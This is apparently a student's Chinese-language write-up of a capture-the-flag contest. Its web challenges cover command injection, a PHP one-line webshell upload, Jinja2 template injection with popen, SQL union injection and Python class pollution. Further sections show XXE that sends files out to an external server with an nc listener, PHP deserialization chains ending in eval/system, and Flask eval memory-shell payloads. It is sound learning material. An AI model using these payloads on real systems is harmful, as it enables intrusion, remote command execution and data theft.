第一次打的比赛
[Week1] Gitttttttt
题目明显提示为git漏洞,所以我们直接使用Githack,输入payload
python githack.py http://challenge.ilovectf:xxxxx/.git/即可获得一个.txt文件
打开即可获得flag

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week1] Ping??
打开网址后是这样一个界面

我们首先输入127.0.0.1尝试,回显为
然后输入127.0.0.1|ls,回显为

接着输入127.0.0.1|cat /flag.txt,回显含有敏感信息,那么我们使用通配符尝试。
127.0.0.1|cat f*,成功获得flag:
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week1] from_http
打开网站后说用?CTFBrowser浏览器访问,所以我们在hackbar中修改UA为?CTFBrowser


然后叫我传参,所以我在url后加上了 ?welcome=to
又叫我post传参,然后我便post the=?CTF
接着修改 Cookie
添加 Referer:?CTF,得到
然后我们用 X-Forwarded-For伪造ip,得到flag

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week1] secret of php

在附件中发现Flll4g.php,我们直接访问http://challenge.ilovectf.cn:30819/Flll4g.php得到

接着我post a=240610708&b=QLTHNDT,过了第一关

接着我post以下参数与值,得到flag
aa=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&bb=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&aaa=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&bbb=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week1] 前端小游戏
此题说是前端小游戏,所以我F12打开查看页面源码,发现疑似flag的base64字符串
将其放到Cyberchef中转化得到flag

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week1] 包含不明东西的食物?!

这是进入页面的样子,我随便输入一个 flag.txt后, 回显为
查看页面源码后,发现flag就在flag.txt中
所以我尝试路径遍历,输入/../../../../flag.txt,成功获取flag
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week2] Look at the picture
通过路由www.zip获取到源码,发现php://filter没有被禁用,而base64被禁用,所以最终payload为
php://filter/convert.utf-8.utf-16/resource=/flag得到flag:
flag{Y0U_gE7_7HE_Fi1ter}>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week2] Only Picture Up
这是个文件上传漏洞题,我发现将文件后缀改为.png便可上传一句话木马,
所以我新建了.txt文件,内容为,然后命名为1.png,上传成功
点击preview,再在url中加上&x=system(‘ls /’);列出根目录的文件,即
http://F/?preview=1.png&x=system('ls /');回显为
发现flag目录
然后我们修改x值为system(‘cat /FL4g94’);,便可得到flag:
flag{a0638f77-7cb6-408e-ae7e-c94471e36c8f}>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week2] Regular Expression

第一关是正则表达式的匹配,且长度要为40,所以我最终参数
?=-ctf<%0A>>>>>h12!!!!!!!!!!@email.com%20flaga进入第二关,需要preg的值匹配题中字符串,且preg长度大于77.
最终preg=Please\%20777[abcdefghijklmnopqrstuvwxyz][abcdefghijklmnopqrstuvwxyz][abcdefghijklmnopqrstuvwxyz][abcdefghijklmnopqrstuvwxyz]\W%2bme\W%2bFlaggg0
得到flag
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week2] 留言板
题目简介中提到jinjia2,所以我输入{{7*7}}测试,发现为jinja2模板引擎
由源码可知,此题留言内容参数为message,传输到/ssti路由。
然后我便构造基本payload
{{[].__class__.__base__.__subclasses__()[156].__init__.__globals__.popen('ls').read()}}发现引号被过滤,所以我们修改payload为
{{[].__class__.__base__.__subclasses__()[156].__init__.__globals__.popen(request.args.cmd).read()}}然后在url末尾加上?cmd=ls /,得到
发现flag,所以最终?cmd=tac /flag,得到flag
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week2] 登录和查询

获取字典

burp抓包,导入字典爆破密码
发现密码为admin123
然后传参
?id=' union select group_concat(flag),null,null from flags --+
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week2] 这是什么函数
在本题源码中,我们可以看到有个/pollute路由,接着通过我上网查找,发现这是一个原型链污染题型。
“简单的说呢,其实就是我们对原链中的某个属性进行了污染,向其中插入恶意代码,当我们再调用这个链(也就是使用这个对象)时,我们的恶意代码就会被触发,此时就达到了一个执行恶意代码的效果。”
我用dirsearch扫出了/src和/flag,以下是/src下的网页,
from flask import Flask, request, render_templateimport jsonapp = Flask(__name__)def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)def is_json(data): try: json.loads(data) return True except ValueError: return Falseclass cls(): def __init__(self): passinstance = cls()cat = "where is the flag?"dog = "how to get the flag?"@app.route('/', methods=['GET', 'POST'])def index(): return render_template('index.html')@app.route('/flag', methods=['GET', 'POST'])def flag(): with open('/flag', 'r') as f: flag = f.read().strip() if cat == dog: return flag else: return cat + " " + dog@app.route('/src', methods=['GET', 'POST'])def src(): return open(__file__, encoding="utf-8").read()@app.route('/pollute', methods=['GET', 'POST'])def Pollution(): if request.is_json: merge(json.loads(request.data), instance) else: return "fail" return "success"if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)可以看见当cat==dog时,可以在/flag下获取flag。那么要怎么做呢?
题目是原型链污染,那就是说我们要从/pollute下污染原型链,使cat与dog的值相等,使/flag中显示flag。
首先看/pollute页面,首先post传入的值需要是json格式,比如{“example”:“haha”},然后就会调用到merge函数。merge函数的作用是合并输入的json格式内容与instance。我们先通过__init__找到函数对象,然后通过__globals__访问全局变量,也就是原型链,最后修改cat和dog的值,也就是通过原型链污染修改全局变量,使其相等,最后的payload就是{“__init__”:{“__globals__”:{“cat”:“same”,“dog”:“same”}}},然后就能得到flag了。
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week3] 查查忆
查看源码可发现

既然题目说了是xxe,那么就直接打xxe,最基础的xxe payload如下:
页面payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANYTHIN [ <!ENTITY % aaa SYSTEM "http://vps-ip:port1/1.dtd">%aaa;]>1.dtd内容:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/f1111llllaa44g"><!ENTITY % dtd "<!ENTITY % vps SYSTEM 'http://vps-ip:port2/%file;'> ">%dtd;%vps;然后在自己的服务器中(公网)打开两个命令行(dtd文件在哪就在哪里打开),在第一个命令行中输入:
python -m http.server <port1>在第二个命令行中输入:
nc -lvp <port2>输入payload点击查询后,发现无法xxe

那肯定是过滤了某些关键词,经过一番尝试,我发现被过滤了,那么就得想办法绕过。
我首先想到的是用xml注释把关键词分隔,但是这样在语法上时行不通的,那还有什么办法呢?我们发现xml第一行有个encoding=“xxx”,那么我们将dtd部分转化为其他格式不就行了。我上网搜索了一下发现用的多的是utf-7,那么我们将正文内容转化为utf-7编码即可。
cat 1.xml | iconv -f utf-8 -t utf-7 > payload.xml<?xml version="1.0" encoding="utf-7"?>+ADwAIQ-DOCTYPE ANYTHING +AFs +ADwAIQ-ENTITY +ACU aaa SYSTEM +ACI-http://47.118.31.122:9023/2.dtd+ACIAPg +ACU-aaa+ADs+AF0APg-将这段payload填入即可


base64解码后便可获取flag:
flag{cb2e90bc-de2f-41a6-9627-e28e4c49b05a}🚀最后谈谈为什么需要使用base64编码回显flag。我的payload最终flag回显在我dtd文件中写的%file的位置,而%file又是在dtd中。首先我们要知道,DTD在SYSTEM标识符中对字符极为敏感,< > & ” ’ \n 等字符会直接破坏DTD解析,因此需要将 flag 编码为仅包含安全字符的形式。flag中可能含有各种字符,比如{}&@!?-等,所以我们最好是使用base64编码flag后再回显。然后谈谈内部xxe,内部xxe最终flag显示位置再正文文本中,就比如这个payload:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANYTHING [ <!ENTITY xxe SYSTEM "file:///flag">]><aaa>&xxe;</aaa>这个最终flag回显在正文部分,所以是安全的,无需base64编码。
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week3] 魔术大杂烩
<?phphighlight_file(__FILE__);error_reporting(0);class Wuhuarou{ public $Wuhuarou; function __wakeup(){ echo "Nice Wuhuarou!</br>"; echo $this -> Wuhuarou; }}class Fentiao{ public $Fentiao; public $Hongshufentiao; public function __toString(){ echo "Nice Fentiao!</br>"; return $this -> Fentiao -> Hongshufentiao; }}class Baicai{ public $Baicai; public function __get($key){ echo "Nice Baicai!</br>"; $Baicai = $this -> Baicai; return $Baicai(); }}class Wanzi{ public $Wanzi; public function __invoke(){ echo "Nice Wanzi!</br>"; return $this -> Wanzi -> Xianggu(); }}class Xianggu{ public $Xianggu; public $Jinzhengu; public function __construct($Jinzhengu){ $this -> Jinzhengu = $Jinzhengu; } public function __call($name, $arg){ echo "Nice Xianggu!</br>"; $this -> Xianggu -> Bailuobo = $this -> Jinzhengu; }}class Huluobo{ public $HuLuoBo; public function __set($key,$arg){ echo "Nice Huluobo!</br>"; eval($arg); }}
if (isset($_POST['eat'])){ unserialize($_POST['eat']);}这是一串php代码,可见这是php反序列化漏洞题。在最后的Huluobo中可以发现”eval”,可以通过它执行php代码。那么我们的目标就是通过构造pop链直到eval。由于序列化只关注对象的属性与值,所以我们将其function去除,得到下面一串php代码。
<?phpclass Wuhuarou{ public $Wuhuarou;}class Fentiao{ public $Fentiao; public $Hongshufentiao;}class Baicai{ public $Baicai;}class Wanzi{ public $Wanzi;}class Xianggu{ public $Xianggu; public $Jinzhengu;}class Huluobo{ public $HuLuoBo;}
$a = new Huluobo();
$b = new Xianggu();$b -> Jinzhengu = "system('cat /flag');";$b -> Xianggu = $a;
$c = new Wanzi();$c -> Wanzi = $b;
$d = new Baicai();$d -> Baicai = $c;
$e = new Fentiao();$e -> Fentiao = $d;
$f = new Wuhuarou();$f -> Wuhuarou = $e;
echo urlencode(serialize($f));
?>🚀我来具体讲讲这个pop链是如何构造出来的。
①从Huluobo类开始,里面有个魔术方法是__set(),是当给一个不可访问或不存在的对象赋值时自动触发,浏览所有类发现在Xianggu类中存在这个事件
$this -> Xianggu -> Bailuobo = $this -> Jinzhengu;Bailuobo对象不存在,而且还给它赋值,所以会触发__set();__set($key,$arg)中,$key=Bailuobo的值,$arg=Jinzhengu的值
②然后走到Xianggu类中看__construct()是创建新类时自动触发,这里用不到,我们看__call(),它是当调用一个不存在的方法时自动触发的魔术方法,发现在Wanzi类中存在此事件
class Wanzi{ public $Wanzi; public function __invoke(){ echo "Nice Wanzi!</br>"; return $this -> Wanzi -> Xianggu(); }}Xianggu()方法不存在,故会触发__call();
③在Xianggu类中,有__invoke()魔术方法,它是当一个对象被当作函数调用时自动触发,发现Baicai类中有此事件
class Baicai{ public $Baicai; public function __get($key){ echo "Nice Baicai!</br>"; $Baicai = $this -> Baicai; return $Baicai(); }}Baicai存在且被当作函数调用,所以会触发__call();
④现在走到Baicai类中,有__get(),它是当调用一个不存在或不可访问的对象时自动触发,发现Fentiao类中可存在此事件
class Fentiao{ public $Fentiao; public $Hongshufentiao; public function __toString(){ echo "Nice Fentiao!</br>"; return $this -> Fentiao -> Hongshufentiao; }}当我们不给Hongshufentiao赋值时,他就是不存在的。最后调用时就会触发__get();
⑤在Fentiao类中,有个__toString(),它是当一个对象被当作字符串输出时自动触发,而echo便能做到此事,在Wuhuarou类中存在
class Wuhuarou{ public $Wuhuarou; function __wakeup(){ echo "Nice Wuhuarou!</br>"; echo $this -> Wuhuarou; }}echo $this -> Wuhuarou是将此类中的Wuhuaruo对象当作字符串输出,故会触发__toString();
⑥Wuhuarou类中有__wakeup()方法,它是当对象被反序列化之后自动调用这个方法,而unserialize便可以做到。到此,pop链便可构造出来。
成功获取flag
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week3] 这又是什么函数
扫路由扫到/src,进入直接看到源码
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])def index(): return render_template('index.html')
@app.route('/doit', methods=['GET', 'POST'])def doit(): e = request.form.get('e')
try: eval(e) return "done!" except Exception as e: return "error!"
@app.route('/src', methods=['GET', 'POST'])def src(): return open(__file__, encoding="utf-8").read()
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)可发现在/doit路由下,post参数e可执行一句python代码,那么这里便有两种做法,一种是布尔盲注,一种是内存马注入。先试试第一种,以下是poc,可以直接注出flag
import requests
url = "http://challenge.ilovectf.cn:30009/doit"flag='flag{'ch = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-@&?!"for i in range(5,50): for c in ch: payload = f"print(1) if open('/flag').read()[{i}]=='{c}' else 1/0" resp = requests.post(url,data={'e':payload}) if 'done!' in resp.text: flag+=c print("flag:",flag) break else: break
print("RESULT:",flag,"}")另一个就是内存马,payload为:
e=app.view_functions.__setitem__('index', lambda:open('/flag').read())'''eval("app.view_functions.__setitem__('index', lambda:open('/flag').read())")相当于exec("app.view_functions['index']=lambda:open('/flag').read()")其中app也可以替换为:__import__('sys').modules['__main__'].__dict__['app'],也就是获取app对象'''回到主页面便可发现flag。这个payload相当于是直接篡改flask的路由表,’/‘路由在python中基本上是使用index
@app.route('/')def index(): //若这里的index是abc,那么payload中的index就是abc,二者需保持一致 return "hello world"这个payload也可以:
e=app.before_request_funcs.setdefault(None,[]).append(lambda:__import__('os').popen(request.args.get('cmd')).read())#post之后传参cmd=cat /flag即可获取flag#这里app也可以用__import__('sys').modules['__main__'].__dict__['app']替换>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[Week4] Path to Hero
<?phphighlight_file('index.php');
Class Start{ public $ishero; public $adventure;
public function __wakeup(){
if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") { echo "<br>勇者啊,去寻找利刃吧<br>";
return $this->adventure->sword; } else{ echo "前方的区域以后再来探索吧!<br>"; } }}
class Sword{ public $test1; public $test2; public $go;
public function __get($name) { if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) { echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>"; echo $this->go; } else { echo "Dead"; } }}
class Mon3tr{ private $result; public $end;
public function __toString() { $result = new Treasure(); echo "到此为止了!魔王<br>";
if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) { $result->end($this->end); } else { echo "难道……要输了吗?<br>"; } return "<br>"; }}
class Treasure{ public function __call($name, $arg) { echo "结束了?<br>"; eval($arg[0]); }}
if (isset($_POST["HERO"])) { unserialize($_POST["HERO"]);}这是题目源码,可以发现在Treasure类中有可RCE的地方,也就是eval($arg[0])。
①Treasure类中存在__call($name,$arg[0]),发现在Mon3tr类中有调用不存在的方法end(),所以可触发;其中arg[0]的值就是end的值。
②Mon3tr类中,发现end存在关键词过滤,其中几乎所有可获取flag的命令执行语句,这里我想到有两种方法,一种是用base64编码绕过,另一种是使用passthru('grep fla /f*');然后可触发此类中__toString()方法的是Sword类中的echo $this -> go;
③Sword类中的__get()又可由Start类中的return $this->adventure->sword; 触发。至此,pop链形成
<?php
class Start{ public $ishero; public $adventure;}
class Sword{ public $test1; public $test2; public $go;}
class Mon3tr{ public $end;}
$b = new Mon3tr();$cmd = "system('cat /flag');";$b64_cmd = base64_encode($cmd);$b -> end = "eval(base64_decode(\"$b64_cmd\"));";
/*或者这种写法$b = new Mon3tr();$b -> end = "passthru('grep fla /f*');";*/
$c = new Sword();$c -> test1 = "TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak";$c -> test2 = "TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak";$c -> go = $b;
$d = new Start();$d -> ishero = "hero123";$d -> adventure = $c;
echo urlencode(serialize($d));部分信息可能已经过时









